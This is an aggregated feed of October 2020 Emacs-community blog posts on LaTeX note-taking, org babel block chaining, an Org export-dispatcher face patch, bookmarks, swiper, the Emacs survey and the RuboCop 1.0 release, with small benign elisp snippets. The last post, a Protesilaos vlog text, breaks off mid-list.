Irreal: Taking Math Class Notes With Emacs

A year and a half ago, I wrote about Gilles Castel’s video on taking math class notes. I found his workflow astounding. He was able to take LaTeX notes in Math class at speed. By “at speed” I mean he was able to keep up with the instructor. If you’ve ever written in LaTeX you know that Castel’s feat is pretty impressive. His secret sauce was the Vim UltiSnips snippets package.

At the time, I speculated about doing the same thing with ACUTeX and yasnippets. Yasnippets aren’t as powerful as UltiSnips but I felt Castel’s workflow could be more or less translated to Emacs.

I just saw this post by karthink that explains how he does the same thing in Emacs. His secret sauce is ACUTeX, Yasnaippets, and CDLaTeX. He doesn’t have a long video like Castel’s but there are some shorter GIF animations that show his system in operation. The real winner here is CDLaTeX, an Emacs package written by Carsten Dominick, that allows the fast and easy entry of LaTeX input. I didn’t know about CDLaTeX but it turns out to be really useful. You can use it anywhere in Emacs but there’s also a special interface for it in Org-mode.

If you’re like me and need to write occasional mathematics in Org, it’s just what you need to make it as painless as possible. It even has a which-key-like hinting system so you don’t need a cheat sheet to get going. Take a look at karthink’s post or the Org manual to see how to enable it.

If you’re taking mathematical notes or even if you merely need to write some occasional mathematics, you should definitely take a look at his post. There’s also a pointer to some of the snippets he uses.

-1:-- Taking Math Class Notes With Emacs (Post jcs)--L0--C0--October 30, 2020 03:07 PM

Irreal: Literate Calc Mode

Robin Schroer has an interesting project that recently landed in MELPA. Many of you know that I’m a big fan of reproducible research and its handmaiden literate programming. Schroer’s project is a sort of light-weight Jupyter Notebook that’s integrated with Emacs. He’s got a post that announced the project and explained what it’s about.

There’s a video with his post but I couldn’t get it to play. That may because I’m on macOS or perhaps because of my anti-tracking software. In either case, the README at the Git repository provides some nice examples of how it works. If you can’t play the video either, take a look at the repository. It will help you understand the project and its aims.

I’m really comfortable with calc and don’t feel the need for an infix calculator but literate calc mode does have some nice features. For instance, you can capture the result of a calculation in a variable and if you change any constituent part, all the results are recalculated. Even better, it’s possible to capture the whole thing to a text file so it can be published or reloaded later for more work.

It’s still early days and Schroer has some enhancements planned. I think this is going to be a really useful project for Emacs users.

-1:-- Literate Calc Mode (Post jcs)--L0--C0--October 28, 2020 03:12 PM

Alvaro Ramirez: Emacs: chaining org babel blocks

27 October 2020 Emacs: chaining org babel blocks

Recently wanted to chain org babel blocks. That is, aggregate separate source blocks and execute as one combined block.

chain.gif

I wanted the chaining primarily driven through header arguments as follows:

#+name: block-0
#+begin_src swift
  print("hello 0")
#+end_src

#+name: block-1
#+begin_src swift :include block-0
  print("hello 1")
#+end_src

#+RESULTS: block-1
: hello 0
: hello 1

I didn't find the above syntax and behaviour supported out of the box (or didn't search hard enough?). Fortunately, this is our beloved and malleable editor, so we can always bend it our way! Wasn't quite sure how to go about it, so I looked at other babel packages for inspiration. ob-async was great for that.

Turns out, advicing org-babel-execute-src-block did the job:

(defun  adviced:org-babel-execute-src-block (&optional orig-fun arg info params)
  (let ((body (nth 1 info))
        (include (assoc  :include (nth 2 info)))
        (named-blocks (org-element-map (org-element-parse-buffer)
                          'src-block (lambda (item)
                                       (when (org-element-property  :name item)
                                         (cons (org-element-property  :name item)
                                               item))))))
    (while include
      (unless (cdr include)
        (user-error  ":include without value" (cdr include)))
      (unless (assoc (cdr include) named-blocks)
        (user-error  "source block \"%s\" not found" (cdr include)))
      (setq body (concat (org-element-property  :value (cdr (assoc (cdr include) named-blocks)))
                         body))
      (setf (nth 1 info) body)
      (setq include (assoc  :include
                           (org-babel-parse-header-arguments
                            (org-element-property  :parameters (cdr (assoc (cdr include) named-blocks)))))))
    (funcall orig-fun arg info params)))

(advice-add 'org-babel-execute-src-block  :around 'adviced:org-babel-execute-src-block)

Before I built my own support, I did find that noweb got me most of what I needed, but required sprinkling blocks with placeholder references.

noweb.gif

Combining :noweb and :prologue would have been a great match, if only prologue did expand the noweb reference. I'm sure there's an alternative I'm missing. Either way, it was fun to poke at babel blocks and build my own chaining support.

-1:-- Emacs: chaining org babel blocks (Post Álvaro Ramírez)--L0--C0--October 27, 2020 10:32 PM

Sacha Chua: 2020-10-26 Emacs news

Links from reddit.com/r/emacs, r/orgmode, r/spacemacs, r/planetemacs, Hacker News, planet.emacslife.com, YouTube, the Emacs NEWS file and emacs-devel.

-1:-- 2020-10-26 Emacs news (Post Sacha Chua)--L0--C0--October 27, 2020 02:33 AM

Irreal: Orgmode.org Has a New Look

Just a quickie today to note that the Org-mode site, orgmode.org, has a brand new look. That’s thanks to the work of Tecosaur who completely revamped the site. According to his announcement over at Reddit, the core pages are smaller and load faster, the site is more mobile friendly, and many of Org’s features now have animated demonstrations.

The site looks great and it’s much easier to find things than it was before. I especially like the Features page that gives an excellent introduction to some of Org-mode’s features. There are animated examples and explanations so it’s just the thing for a n00b trying to get oriented in the large and intricate Org universe.

Thanks to Tecosaur for his hard work. I’ve added him to the list of people I should buy a beer for if I happen to meet him in real life. You should do the same.

-1:-- Orgmode.org Has a New Look (Post jcs)--L0--C0--October 26, 2020 04:43 PM

Marcin Borkowski: Scrolling all windows simultaneously

One of the things which I need very seldom is simultaneous scrolling in more than one window. And guess what? Emacs has me covered.
-1:-- Scrolling all windows simultaneously (Post)--L0--C0--October 26, 2020 07:08 AM

Alvaro Ramirez: Emacs: quote wrap all in region

25 October 2020 Emacs: quote wrap all in region

As I find myself moving more shell commands into Emacs interactive commands to create a Swift package/project, enrich dired's featureset, or search/play Music (macOS), I often need to take a single space-separated string, make an elisp list of strings, and feed it to functions like process-lines. No biggie, but I thought it'd be a fun little function to write: take the region and wrap all items in quotes. As a bonus, made it toggable.

wrap-toggle-region.gif

(defun  ar/toggle-quote-wrap-all-in-region (beg end)
   "Toggle wrapping all items in region with double quotes."
  (interactive (list (mark) (point)))
  (unless (region-active-p)
    (user-error  "no region to wrap"))
  (let ((deactivate-mark nil)
        (replacement (string-join
                      (mapcar (lambda (item)
                                (if (string-match-p  "^\".*\"$" item)
                                    (string-trim item  "\""  "\"")
                                  (format  "\"%s\"" item)))
                              (split-string (buffer-substring beg end)))
                       " ")))
    (delete-region beg end)
    (insert replacement)))
-1:-- Emacs: quote wrap all in region (Post Álvaro Ramírez)--L0--C0--October 25, 2020 10:00 AM

Andrea: Run a single ScalaTest case with Emacs and sbt-mode

Extend your Emacs to not waste time on sbt running all tests
-1:-- Run a single ScalaTest case with Emacs and sbt-mode (Post)--L0--C0--October 25, 2020 12:00 AM

Irreal: Zamansky 76: Bookmarks and Burly

Mike Zamansky is back with another video in his Using Emacs Series. This time he discusses Emacs bookmarks and the Burly package. You can set a bookmark for any file that you need often and use the bookmark-jump function to bring that file up quickly and easily. Burly does the same sort of thing but for window/buffer configurations. Take a look at Zamansky’s video to see it in action.

Bookmarks are one of those things that seem like a no-brainer yet many—or perhaps most—of us don’t make as much use of them as we should. That changed for me several years ago when I stole a bunch of ideas from abo-abo. First off was to install bookmarks+, which among other things lets me bookmark websites so I can go to them right from Emacs. This, along with abo-abo’s headlong package allow me to map the bookmarks to one or two letter sequences. Wrapping all this into a window configuration hydra allows me to enter Hyper+w m t to bring up my tax file or Hyper+w m b to open my blog in Safari. I wrote about all of that here.

Finally, it’s worth mentioning that any files you have in ~/.agenda-files will be loaded automatically when Emacs starts so I usually visit those by typing in the first letter or two of the file name and letting council-find-file load it for me. It’s just as quick and easy as using a bookmark and I don’t have to add it to my bookmarks file.

Emacs has a lot of ways of quickly loading files and happily none of them require the use of a mouse. Take a look at Zamansky’s video for one of them. The video is 17 minutes, 32 seconds so plan accordingly.

-1:-- Zamansky 76: Bookmarks and Burly (Post jcs)--L0--C0--October 24, 2020 03:52 PM

Protesilaos Stavrou: Org’s export dispatcher has a new face for its keys

Update 2020-10-25 10:57 +0300: Added screen shots with the Modus Operandi and Modus Vivendi themes.

As of commit 7ebb2d562 in the git repo of Emacs’ Org mode, the export dispatcher uses a new face to highlight its available keys and possible options: org-dispatcher-highlight. It supersedes the general purpose org-warning for this particular interface.

Before and after

This demonstration is on emacs -Q. First without the patch and then with it:

Org dispatcher before

Org dispatcher after

And here are my Modus themes (Modus Operandi and Modus Vivendi) with the new face tweaked to match their established metaphors:

Modus Operandi Org dispatcher

Modus Vivendi Org dispatcher

In the interest of usability

The email to the Org mailing list reveals my rationale:

The export dispatcher’s active keys are highlighted using the org-warning face. That face is applied in various contexts, including the agenda.

Users who have difficulty reading the active keys of the export dispatcher are therefore forced to modify org-warning throughout their setup, even though their problem is present only while viewing the dispatch UI (because highlighted keys are one or a few characters long).

The attached patch is an attempt to address this issue by creating a new face that is specifically designed for the dispatch UI.

For the background+foreground combinations, the selected values conform with the highest accessibility standard for colour contrast (WCAG AAA, else a minimum contrast ratio of 7:1). I limited my options to what M-x list-colors-display provides.

The relevant diff:

 lisp/org-faces.el | 14 ++++++++++++++
 lisp/ox.el        |  2 +-
 2 files changed, 15 insertions(+), 1 deletion(-)

diff --git a/lisp/org-faces.el b/lisp/org-faces.el
index c0556b8bb..94b283ad6 100644
--- a/lisp/org-faces.el
+++ b/lisp/org-faces.el
@@ -45,6 +45,20 @@ The foreground color of this face should be equal to the background
 color of the frame."
   :group 'org-faces)
 
+(defface org-dispatcher-highlight
+  '((default :weight bold)
+    (((class color) (min-colors 88) (background dark))
+     :background "gray20" :foreground "gold1")
+    (((class color) (min-colors 88) (background light))
+     :background "SlateGray1" :foreground "DarkBlue")
+    (((class color) (min-colors 16) (background dark))
+     :foreground "yellow")
+    (((class color) (min-colors 16) (background light))
+     :foreground "blue")
+    (t :inverse-video t))
+  "Face for highlighted keys in the dispatcher."
+  :group 'org-faces)
+
 (defface org-level-1 '((t :inherit outline-1))
   "Face used for level 1 headlines."
   :group 'org-faces)
diff --git a/lisp/ox.el b/lisp/ox.el
index 6dd2cd4a0..5ffd66816 100644
--- a/lisp/ox.el
+++ b/lisp/ox.el
@@ -6706,7 +6706,7 @@ back to standard interface."
 	    ;; on the first key, if any.  A nil value means KEY will
 	    ;; only be activated at first level.
 	    (if (or (eq access-key t) (eq access-key first-key))
-		(propertize key 'face 'org-warning)
+		(propertize key 'face 'org-dispatcher-highlight)
 	      key)))
 	 (fontify-value
 	  (lambda (value)

This commit resolves a conundrum that theme developers could find themselves in:

  • Should I make the keys in the export dispatcher as clear as possible without compromising on their utility?
  • Or should I allow deadlines in the agenda to have a sense of urgency without becoming intrusive and outright unpleasant?

The introduction of the new face removes this constraint altogether by disaggregating the uses of org-warning: dispatcher keys can be drawn in a style that best complements the intended function of their presentation, while agenda buffers and other interfaces can still present warnings, such as pending tasks, in a manner that suits the significations attached to that word.

To retain the old export dispatcher aesthetic, instruct org-dispatcher-highlight to inherit from org-warning (or petition your theme’s developer to consider such a reform). For example:

(set-face-attribute 'org-dispatcher-highlight nil :inherit 'org-warning)

Please note that what matters is the presence of a new face, not the exact colour values assigned to it, as shown by the tweaks I made to it in my Modus themes.

Thanks to the community

I wrote this patch after receiving valuable feedback from user “Anders” on the Modus themes’ issue tracker.

My gratitude extends to Bastien Guerry, the maintainer of Org mode, for accepting my code and for their valuable contributions in general.

-1:-- Org’s export dispatcher has a new face for its keys (Post)--L0--C0--October 24, 2020 12:00 AM

Manuel Uberti: Emacs and Emanuele Severino

The recently available Emacs User Survey made me think, once again, about the status of the technological world around me. The survey was painstakingly discussed on the emacs-devel mailing list, and generated some interesting reactions among people outside the core developing team as well. More interesting for the perspective of this writing are the reactions to the discussions on emacs-devel, because they reveal how great the distance between me and some members of the Emacs community has been getting.

You see, I am a failed Free Software supporter. I stopped campaigning in its favour as soon as my wife’s school closed. There I had set up everything with Free and Open Source software, and watching the teachers effectively do their job with technological solutions they were not accustomed to made me happy. They did not really care about the reasons behind my choices, but they respected my contribution and were willing to overcome the first weeks of adaptation as long as I could guarantee a comfortable working environment. When all of this ended and I went back to software development, Free and Open Source software became only a private concern. While still set on Linux1, I left Debian for Ubuntu because I didn’t want to spend time tinkering with my operative system to get the best out of my Dell XPS. My distro-hopping days had come to an end. I just wanted a system that would let me code, write, and browse the Web. I chose the easy way.

However, I have never stopped paying attention to the world around me and behaving consciously. For instance, I hate wasting technology. The 3-and-a-half-year old Dell XPS where I am writing now replaced my 8-year old Dell Inspiron, and my 7-year old HP server is still rock-solid and here to stay. I have a 4-year old Fairphone, my first and only smartphone, that I intend to keep for as long as possible. Beside gadgets, I’ve been on a vegan diet for almost seven years and I consider it one of the best and most important choices I’ve ever made regarding the ethics of what I eat. Come to think of it, as bad as the Coronavirus crisis is turning out to be, it “fixed” the problem of getting to the office every day, cutting my car usage down to once a week for groceries2 and thus decreasing my impact on the environment.

This is why mixing technocraticism with pragmatism bothers me. The words “pragmatic” and “pragmatism” have been kind of a constant in the IT world I live in since “The Pragmatic Programmer” passed on my shelves. As every word in every language, “pragmatic” and “pragmatism” are complex words and their actual meaning is not trivially describable. Immanuel Kant distinguishes between “practical” and “pragmatic”, but without asking him we can quickly see what the dictionary tells us. According to the Oxford Learner’s Dictionary, “pragmatic” means “solving problems in a practical and sensible way rather than by having fixed ideas or theories”. Treccani, however, is closer to how “pragmatic” is known nowadays: “what is being characterised by the prevailing of practical interests over theoretical ones and ideal values”. I won’t digress on the multiple meanings of “ideal” to keep it simple and because “values” is actually the key word for me here.

“Pragmatic” and “pragmatism”, in common parlance, imply a separation between theoretical thoughts and practical action, but it is actually impossible to draw a line between the two. Every action is informed by a thought and every thought shines a light on the action. We can act automatically without thinking about it, sure, but that has nothing to do with voluntary actions. When we act, we act according to a line of reasoning, and it’s that line of reasoning that determines the value of the action. Take my choice of using Ubuntu on this Dell XPS. A deliberate decision born out of my desire to prefer a comfortable option instead of spending time to value more Free Software-compliant solutions. I acted with a plan just as I acted with a plan when I chose my vegan diet. Which choice is more pragmatic? Which one tells you more about my ethics?

For years now I’ve been seeing the IT world as self-involved and rarely eager to discuss larger issues. Problems such as the environmental crisis become material for self-congratulatory speeches at conferences around the world, while in fact the day after the conference we resume our lives as if nothing other than ourselves mattered. We do that because, as Emanuele Severino says, we are scared of what is beyond ourselves. We have replaced religious myths with the myth of technology to find the immediate answers to deep and life-changing questions that we do not want to investigate any further.

It’s not easy to understand the weight of words like “pragmatism” and “pragmatic” in a technocratic world. We live in an age where we believe that technology is our ultimate saviour. We are driven to accept technology as it is because of the benefits it brings to ourselves. We trust our technology because not doing so would result in the effort of questioning it, which in turns may unveil the details that the technocratic world goes a long distance to hide. More importantly, questioning technology could disclose what we really are and need to be, something that takes will and courage to face. In a time like this, Emanuele Severino’s claim that technique is the dominant power of our time sounds as forceful as ever.

Notes

  1. Yes, I didn’t write GNU/Linux. 

  2. Yes, I am a bit of a recluse. 

-1:-- Emacs and Emanuele Severino (Post)--L0--C0--October 24, 2020 12:00 AM

Mike Zamansky: Using Emacs 76 Bookmarks and Burly

I read a post on /r/emacs the other day asking if people used Emacs bookmarks among other things. I thought about it for a bit and wondered why I didn't use Bookmarks? I did set a few bindings to load frequently used files and those are like bookmarks but I have to set those up in my configuration. It turns out that Emacs bookmarks are pretty easy and effective and work right out of the box. I cover the basics in the video and you can also check the documentation here.

In the video I mention that the bookmark bindings are part of the bindings used for registers which also include rectangles. If you're interested in those aspects you can find out all about registers by viewing this nice video by Prot and I cover rectangle editing here.

I also noticed another post on /r/emacs about burly - a package for managing windows and their associated buffers. It's pretty cool. In the video I confused myself and thought it might be mapping the buffers to windows wrong but that was just me confusing myself.

Burly uses bookmarks to store the configurations which is cool and it was much easier for me to get my head around it than other solutions. Burly's install instructions use quelpa and quelpa-use-package so now it looks like I'll have to figure those out as well :-).

The run through is all in the video.

Enjoy.

-1:-- Using Emacs 76 Bookmarks and Burly (Post)--L0--C0--October 23, 2020 05:41 PM

Alex Schroeder: The finger memory of incremental search, or switching to swiper

I’ve used C-s and C-r to search in Emacs for ages. One of the most used combos was to move somewhere, start incremenental search, and yank some words from the current position in the buffer: M-b M-b C-s C-w C-w C-s. Now I’m trying to give Swiper a fair try. I’ve been using Yvy Mode until now but I never went all the way.

Recently, however, I stumbled upon the Swiper repository, which comes with a README that has a sample rebinding of keys for all the Ivy, Counsel and Swiper stuff. One of them was to use C-s for swiper-isearch instead of isearch-forward. OK! I’m going to try it.

Note that swiper-isearch is not line-based like swiper is. That is, <down> goes to the next match, even if the next match is on the same line.

But… my fingers are all confused, now. I need to switch modifier keys: M-b M-b C-s M-j M-j <down>. Perhaps I should start using M-s instead. But then again, that prefix hides a ton of functionality. But then again, I never use it.

This is what Emacs Paralysis looks like, I’m telling you!

Anyway, once you started your search for the current word using C-s M-j you can use C-c C-o to switch to Yvy Occur mode. From there, you can use w or C-c C-p to switch to Wgrep mode, which allows you to make changes to the buffer and to write them back to the files using C-x C-s. Strangely enough this doesn’t work if you’re using it in a buffer that has no file associated with it! How strange. This must be an unintended consequence of the grep heritage.

In any case, I’m still trying to get used to this. And I’ll give iedit a try as well. I’m hoping for some sort of refactoring support in Emacs.

All of these idea are from @takeonrules’s blog post:

-1:-- The finger memory of incremental search, or switching to swiper (Post)--L0--C0--October 23, 2020 01:14 PM

Andrea: Challenge problems effectively: how to know when to stop doing it alone and ask for help

-1:-- Challenge problems effectively: how to know when to stop doing it alone and ask for help (Post)--L0--C0--October 23, 2020 12:00 AM

Emacs Redux: State of Emacs Survey

Recently I learned of the first-ever State of Emacs survey and I wanted to share a few thought about it with my readers. Okay, the survey is officially named just “Emacs Survey”, but it clearly draws a lot of inspiration from the numerous “State of Technology X” surveys that have become popular in recent years. That’s why I took the liberty to re-frame it in a way that will probably be familiar to more people.

The “State of Something” surveys are typically ran by the teams maintaining some project to assess the health of its ecosystem, the needs of their users, the problems that need to be solved, the tools that people are using and so on. A good example would be the State of Clojure, that I participate in every year. There are similar surveys for many programming languages and even for some tools - e.g. I ran in the past a State of CIDER survey.1 Ideally, the data collected from the surveys drives the future development to some extent, and results in a better experience for everyone involved. I can speak from experience that the “State of Clojure” and “State of CIDER” surveys definitely influenced the direction of the projects.

The “State of Emacs” survey is a somewhat different, though. One thing that bothers me a bit about the Emacs survey is that its site doesn’t list any clear purpose/goals for the survey. That definitely seems pretty weird to me. I saw the survey discussed on the Emacs mailing list and on Reddit, but sticking a paragraph of rationale on the survey site would have certainly helped. The survey is also not official in the sense, that it’s not initiated by Emacs’s development team, and judging by the hostility the topic generated on the emacs-devel mailing list it’s not like they were particularly excited about it.2 It was funny that most of the comments were complaints about things like the use of non-free JavaScript in the survey form and topics like that, instead of some constructive conversation about the format of the survey. I was especially upset about the hostility towards the amazing MELPA project on the mailing list (in his typical style RMS even wanted MELPA to be denounced in the survey, as he considers it evil). Implying that it’d be easy to replace MELPA with some core Emacs repository is like a bad joke, given how the deficiencies of GNU ELPA were the reason for the rise of MELPA in the first place. Anyways, I’m digressing.

Despite of all my concerns, I hope that the survey be a success in the sense that it will collect enough useful data points to influence the future development roadmap of Emacs and align better the vision of Emacs’s maintainers with the needs and the usage patterns of their users. I’ve already filled out the survey myself and I liked the questions in it, although, I would have definitely structured it somewhat differently. I see some constant trend to compare stuff in Emacs with external packages (e.g. Magit vs vc, Flycheck vs Flymake, Projectile vs project.el), which I find slightly bizarre given the trend in Emacs to move as many built-in packages as possible to GNU ELPA, and the fact that Emacs has always been about diversity of solutions, picking whatever works best for you and so on. Standardization efforts seems somewhat against the spirit of Emacs, but that’s just my very personal take.3

In case someone is curious about my Emacs wish list - I don’t really care about changing any defaults, package improvements or anything like this. I’d like to see more efforts for improving Emacs Lisp, the standard library (libraries like seq.el and map.el were great additions IMO), making it possible to build rich UIs in some sane manner (overlays are quite limiting). I’d also love to see the bar to contributing to be lowered:

  • drop the contributor agreement
  • discuss ideas in an (modern) issue tracker, instead of on a mailing list
  • apply less political activism and more pragmatism in the conversation around new ideas/features4

I doubt anything like this is going to happen any time soon, but one can dream, right?

Finally, I’m obviously curious how my own Emacs Prelude and my packages like Projectile, crux and so on will fare in the survey. Are Zenburn and Solarized still the most popular color themes out there? You tell me! :-)

Big thanks to Adrien Brochard for undertaking this daunting task and creating the “State of Emacs” survey! It will be open until the end of November. You can fill out the survey form directly here. Share your perspective!

Update You might also want to check this follow-up discussion, triggered by my article.

  1. CIDER is a personal project of mine. 

  2. That being said, way too many topics generate unwarranted hostility there. 

  3. Some degree of standardization is not a bad thing, though. 

  4. And in decision-making in general. 

-1:-- State of Emacs Survey (Post Bozhidar Batsov)--L0--C0--October 22, 2020 06:02 AM

Meta Redux: RuboCop 1.0

If at first you don’t succeed, call it version 1.0.

RuboCop’s development started exactly 7 and half years ago. I made the first commit on April 21, 2012. That’s a lot of time in general, but even more in the fast moving world of IT. During this long period we’ve racked up some impressive numbers:

  • 9905 commits
  • 152 releases
  • around 3500 closed issues
  • almost 5000 merged pull requests
  • over 120 million downloads
  • over 200 publicly available related gems (extensions, custom configurations, etc)
  • over 700 contributors

I never expected any of this on April 21, 2012. If there’s a person truly surprised by the success of RuboCop that’d be me. But wait, there’s more! We also reached some important milestones in the last couple of years:

  • Created the RuboCop HQ organization that became the home for RuboCop, the community style guides, and many popular RuboCop extensions
  • Extracted the Rails cops to a separate gem (rubocop-rails)
  • Extracted the performance cops to a separate gem (rubocop-performance)
  • Extracted the AST-related functionality to a separate gem (rubocop-ast)
  • Created new extensions focused on Rake (rubocop-rake) and Minitest (rubocop-minitest)
  • Made significant improvements to RuboCop’s code formatting capabilities
  • Reworked the cop API
  • Switched to safe-only cops by default
  • Introduced the notion of “pending” cops
  • Created a brand new documentation site
  • Provided more polished versions of the community style guides over at https://rubystyle.guide

One thing eluded us, though - a “stable” RuboCop release. Today this finally changes with RuboCop 1.0!1

There’s nothing ground-breaking about the new RuboCop release - it’s almost the same as RuboCop 0.93.1 that preceded it. I believe the only change, that most of you are going to notice, is that all cops that used to be “pending” are now enabled by default, which is in line with our release policy. No new cops will be enabled by default until RuboCop 2.0.

The big news for end users and maintainers of extensions is that we’re finally embracing fully Semantic Versioning, which should make the upgrade process simpler (painless?) for everyone. Going forward the following things will happen only on major releases:

  • enabling of new cops
  • changes to the default cop configuration
  • breaking API changes

It’s really funny that I felt for at least a couple of years that we were very close to the 1.0 release, only to come up with more and more things I wanted to include in it. I believe I first spoke about my intentions to ship RuboCop 1.0 at RubyKaigi 2018 and back then I truly believed this was bound to happen in the next 6 months. Classic example of planning in the software development world, right?

Many people urged me for years to label a random release as 1.0 with the argument that if some software is useful and widely used than it probably deserves that magic moniker. It’s not a bad argument and I totally understood the perspective of those people. I, however, was not convinced as for me version 1.0 also stands for “we got to a place we consider feature complete and aligned with our vision”. Needless to say - the vision we (RuboCop’s team) had was quite ambitious and it took us a while to make it a reality.

I cannot begin to explain how happy I am that we got here, and I can assure you that it wasn’t easy. Over the years RuboCop had its ups and downs, it got a lot of praise, but also a lot of flak.2 Some days I was super pumped and motivated to work on it, on other days I couldn’t stand to think about it. Working on popular OSS projects is one of the most rewarding and most frustrating experiences that one can have. I was (un)fortunate enough to be involved in a few of those (RuboCop, CIDER, nREPL, Projectile, Emacs Prelude, etc) and each one was a crazy roller-coaster ride.

I find it funny how my role in RuboCop evolved with time. Originally I used to write mostly code, these days I write mostly tickets, issue/code review comments and documentation. Often I feel more like a project manager rather than a programmer. There was a time when I was super happy to see a PR and I’d immediately respond to it, now I can’t keep up with all the PRs. In fact, our entire team can’t keep up with them, so consider this my apology that it sometimes takes a while to get feedback on your suggestions. I’ll even admit that I rarely read issue tickets these days as there are so many of them and it’s impossible for me to respond to all of them. I’ve just learned that important tickets always get noticed, if not by me than by someone else from our fantastic team.

I want to extend special thanks to RuboCop’s core team, as we would have never gotten so far without all those amazing people working tirelessly on the project:

You rock, guys!

Jonas, in particular, deserves just as much credit for RuboCop existing today as me. He was the first contributor to RuboCop and he pushed me to get RuboCop to the state where it got critical mass, mindshare and some traction. It’s a long story for another day and another article.3

Koichi also deserves a special mention for his tireless work and incredible dedication to RuboCop and its users over the years! And for his great karaoke skills! He has also been a fantastic head maintainer for key RuboCop extensions like rubocop-rails, rubocop-performance and rubocop-minitest.

Last, but not least - another round of big thanks for all the people who contributed to RuboCop in any capacity over the years! RuboCop is all of you! Keep those contributions coming!

Some closing notes:

  • As mentioned above, recently we’ve extracted RuboCop’s AST-related logic to the rubocop-ast gem, that’s going to be very handy for everything looking to supercharge parser’s API. I’d love to see more tools using it, as I think we really managed to simplify the interaction with an AST. Work on the new gem is led by the awesome Marc-André Lafortune. By the way, he released rubocop-ast 1.0 today! We have some cause for double celebration!
  • The cop API was completely reworked recently by Marc-André. He did some truly fantastic work there! Check out the upgrade notes if you maintain any RuboCop extensions, as the legacy API will be removed in RuboCop 2.0.
  • We’ve made some changes to how department names are calculated that might affect some extensions. Read more about them here.
  • Check out the release notes for all the details.
  • rubocop-rspec is currently not compatible with RuboCop 1.0, but we’re working on this. You can follow the progress on that front here.

And that’s a wrap!

I feel a bit sorry for disappointing everyone who hoped we’d make it to RuboCop 0.99, before cutting RuboCop 1.0. We did our best and we had a great 0.x run, but we ran out of things to do.4 :-) On the bright side - now I can finally say that I’ve got 99 problems (and 200 open issues), but cutting RuboCop 1.0 ain’t one.

Enjoy RuboCop 1.0 and share with us your feedback about it! Our focus now shifts to RuboCop 1.1, and I hope that we’ll be dropping new major releases rather infrequently going forward (although RuboCop 2.0 will probably arrive in less than 7 years). Thanks for your help, love, feedback and support! Keep hacking!

P.S. Koichi recently covered in great details our long journey to RuboCop 1.0 in his presentation Road to RuboCop 1.0 at RubyKaigi 2020. I cannot recommend it highly enough to those of you who’d like to learn more about the technical aspects of RuboCop 1.0 and all the challenges we had to solve along the way!

  1. Also known as the one that will bring balance to the (Ruby) Source. 

  2. In a recent survey RuboCop made both the list of most loved and most hated gems. 

  3. And like any good story it does feature Emacs. 

  4. I’m just kidding. Our plans are as a grand and spectacular as ever! 

-1:-- RuboCop 1.0 (Post Bozhidar Batsov)--L0--C0--October 21, 2020 10:31 AM

Protesilaos Stavrou: Why Emacs itself is my “favourite Emacs package”

In this video blog I talk about the persistent question of “the killer app” that gets asked in the Emacs community. I explain why I think the identification of a single package is often not enough to appreciate the true value proposition of Emacs. My case emphasises the importance of workflows; workflows that typically combine lots of distinct tools and benefit from core Emacs attributes. It is the whole system that matters, because all those packages—in their given combinations—make up our day-to-day computing experience with Emacs.

The text of the presentation is written in org-mode notation and is reproduced below. Also check my Emacs configuration file, from where you can get the code I use: https://protesilaos.com/dotemacs.


#+TITLE: Vlog: Emacs is my “favourite Emacs package”
#+AUTHOR: Protesilaos Stavrou · protesilaos.com

* Getting into the Emacs mindset

I will to talk to you about my approach to a recurring topic in the
Emacs community, best encapsulated in this question:

/What is your favourite package?/

Similar formulations:

+ What is the one thing that makes Emacs indispensable to you?
+ Which is Emacs' killer app?

Such questions can lead us to valuable findings.  There is truth to be
had in the insights drawn from them and we must learn as much as we can
in the process.

Note though that this type of inquiry expects from us to engage in an
analytical exercise that extracts an object from its milieu.  It puts us
in a frame of mind that can miss the true value proposition of Emacs.

The problématique comes with the latent risk of holding us captive to a
frame of mind characterised by *decontextualisation*, of examining an
object without reference to the environment that renders it possible.

Instead of thinking about workflows that can take you from one context
to another, we are expected to identify some silo of functionalities.
Are we then underestimating everything else that contributes to our
day-to-day /experience/ with Emacs?

* Don't ignore the forest while looking at the tree

Now before I get misunderstood: yes, Org and Magit are great; yes, there
are lots of individual packages that make your life easier; and yes,
there is value in finding which package[s] people enjoy the most.

What about the combination of all utilities?  What about the *gestalt*?

If you claim that “my favourite package is X” and then fail to couch
your statement in terms of the rest of the toolkit you rely on, you are
likely to underappreciate---or altogether ignore---the true value
proposition of Emacs.

You do not acknowledge how the whole system is pieced together.  More
importantly, you may not realise the potential of Emacs' extensibility,
which is dynamic or case-dependent.

In other words, Emacs provides the means to implement a metaphor like
that of the vaunted Unix pipes across its entire space.  In practical
terms, you can connect your email client to your agenda, your RSS reader
to your custom note-taking system, your music manager to your directory
editor, and so on.  And all these can benefit from interfaces for
searching, editing in bulk, etc.

My claim here is that most of the times there is no one package or
narrow subset that make Emacs great.  It rather is the linkages between
several pieces of code that make Emacs a pleasure to work with.  They
contribute to predictable-yet-flexible workflows.  These keep Emacs
relevant and, dare I say, intriguing.

* The three core attributes of Emacs

Emacs is programmable and introspectable.  Both presuppose transparency.
These make the Emacs experience open-ended.

+ Programmable :: One set of features can be made to interface with
  another, even though it was not conceived with the express purpose of
  optimising for that particular scenario.  What can be done with Emacs
  is not predetermined.  There is always scope for something new.

+ Introspectable :: The user can examine the entire code base or a
  specific implementation and, potentially, figure out how to connect to
  it through some other tool.  This is further supported by the robust
  self-documentation facilities of Emacs, as well as the high quality of
  material that is readily available through the built-in Info reader.
  Introspection has contributed to the /documentation culture/ that
  characterises the Emacs community at-large.

+ Transparent :: Emacs does not conceal its internals.  Virtually every
  case can be handled using the same language the code is written in
  (Emacs Lisp) while benefiting from live evaluation of new code.  You
  change something and you see it in action.  Combined with the
  self-documenting nature of Emacs, transparency provides insight into
  practically every single construct that makes up Elisp.  Which
  empowers us to make best use of Emacs' programmability.

When considered together, these engender the *interconnectedness* that
defines the Emacs space.
* Introspection in action

Quick demo of running =C-h o= (=describe-symbol=) over =mapcar= and =mapconcat=
and then testing those expressions.

#+begin_src emacs-lisp
(mapcar #'upcase '("one" "two" "three"))

(mapconcat #'upcase '("one" "two" "three") "-")
#+end_src

We can use =C-x C-e= (=eval-last-sexp=) to get live feedback of what each
function does.

We can check the log with =C-h e= (=view-echo-area-messages=).

These are the rudimentary tools you rely on to start using ELisp.  They
offer you the means to experiment with how to extend Emacs.
* A quick look at combining tools

Now let me switch to another window layout, where I have some plain text
files in a standard directory.  Nothing fancy here.  Just to show how
standard Emacs tools can combine together to deliver a consistent
computing experience.

+ Switching to another layout involves the built-in tabs (=tab-bar-mode=)
  plus some bespoke code of mine.
+ Find file at point using a filename or just part of a file (=C-x C-f M-n=).
+ Use a completion framework (=icomplete-mode= in my case).
